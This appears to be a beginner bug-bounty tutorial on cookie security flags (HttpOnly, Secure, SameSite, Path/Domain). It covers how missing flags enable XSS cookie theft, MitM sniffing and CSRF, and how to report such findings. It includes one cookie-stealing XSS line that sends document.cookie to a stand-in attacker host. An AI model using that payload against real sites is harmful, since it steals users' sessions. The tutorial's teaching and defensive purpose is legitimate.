Beginner levelFree

Cookie flags — Secure, HttpOnly, SameSite and why they matter

HttpOnly blocks XSS-to-cookie, Secure forces HTTPS, SameSite kills CSRF. How they break and what to report when they're missing on sensitive cookies.

Gorka El BochiMay 9, 20268 min

Quick answer

Cookie flags control where and how the cookie is sent. The four critical ones: HttpOnly blocks access from JavaScript (mitigates theft via XSS), Secure requires HTTPS (mitigates sniffing on public networks), SameSite controls cross-site (mitigates CSRF), Path/Domain scope it. When a session cookie lacks any of the first three, there's a report if you can demonstrate impact.


The four flags and what each protects

HttpOnly

http
Set-Cookie: sessionid=abc123; HttpOnly

The cookie is not accessible from document.cookie. If the app has an XSS, the attacker can't read the cookie and steal it — they can only act within the user's context in that tab (more limited).

Without HttpOnly + XSS: direct ATO via fetch('//attacker.tld?c=' + document.cookie).

Secure

http
Set-Cookie: sessionid=abc123; Secure

The cookie only travels over HTTPS. Over HTTP, the browser doesn't send it.

Without Secure: a MitM on a public WiFi network (café, airport) can read the session cookie. Any downgrade to HTTP also exposes it.

SameSite

http
Set-Cookie: sessionid=abc123; SameSite=Strict
Set-Cookie: sessionid=abc123; SameSite=Lax       # current default
Set-Cookie: sessionid=abc123; SameSite=None; Secure
ValueWhen it's sent
StrictOnly same-site (same registrable domain)
LaxSame-site + top-level GET navigation (default)
NoneAlways (requires Secure)

Without SameSite or with None: classic CSRF works. With Lax, CSRF on POST is blocked but GET still crosses — if a critical action accepts GET, it's still exploitable.

Path and Domain

http
Set-Cookie: admin=1; Path=/admin; Domain=app.tld

They scope where the cookie is sent. If you set Domain=.tld (parent domain), the cookie crosses to all subdomains — dangerous if there are low-trust subdomains.


How to report each case

"HttpOnly missing" (low severity only)

Without demonstrating XSS, it's a low-severity or N/A finding. It's accepted more when:

  • You demonstrate XSS and show that without HttpOnly the theft is trivial.
  • The cookie is a session / auth cookie, not telemetry.

"Secure missing" (low / chained)

More relevant if:

  • The app serves over HTTP on some subdomain or legacy URL.
  • The Strict-Transport-Security header is misconfigured or absent.

"SameSite missing" (medium / chained with CSRF)

This is where there's real impact. ALWAYS report with:

  • A working CSRF PoC against a state-changing endpoint.
  • The full flow: victim → attacker page → cross-site request with cookie → change in the account.

Without a working PoC, it's just "best practice missing" and gets closed as Informational.


If the main cookie is on app.tld with Domain=app.tld and an attacker manages to set a cookie with the same name from evil.app.tld (a compromised subdomain), the browser may send two cookies with the same name and the app may use the wrong one.

__Host- and __Secure- prefixes

Cookies with the __Host- prefix must have Secure, Path=/, and no Domain. __Secure- only requires Secure. If the app uses these prefixes, there's extra protection against cookie collision.

IDN / Unicode tricks

Subdomains with similar-looking Unicode characters can set cookies that the browser interprets as belonging to the parent domain in some browsers (a rare vector, but it exists).


bash
# Inspect a domain's cookies
curl -sI https://target.tld/login | grep -i 'set-cookie'

# In Burp: Proxy > HTTP history tab > filter by Set-Cookie
# In DevTools: Application > Cookies > review each flag

For a session cookie, you should see:

ini
sessionid=...; HttpOnly; Secure; SameSite=Strict; Path=/

If any of the three main flags is missing on an auth or session cookie, there's a potential report. Triage will require a PoC of real impact (XSS chain, MitM scenario, working CSRF).


ini
Cookie: session=abc; Domain=.example.tld

If any subdomain (legacy.example.tld, static.example.tld) has an XSS or subdomain takeover, the main domain's session cookie travels to that subdomain. A classic ATO vector via subdomain takeover in programs with lots of legacy subdomains.


Checklist

  • Do session cookies have HttpOnly, Secure and SameSite?
  • Is there an XSS or subdomain takeover that, combined with the missing cookie flag, leads to ATO?
  • Is SameSite set to Lax and is there any critical endpoint that accepts GET?
  • Do cookies use Domain=.tld (parent)? If so, which subdomains exist and are they safe?
  • Are there cookies with the __Host- or __Secure- prefix? (a good-practice signal).
  • Are cookies invalidated at logout/server-side, or just deleted on the client?

Practice CSRF leveraging misconfigured SameSite and cookie + XSS combinations: cookies and session labs.

Practice this in a lab

Csrf

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy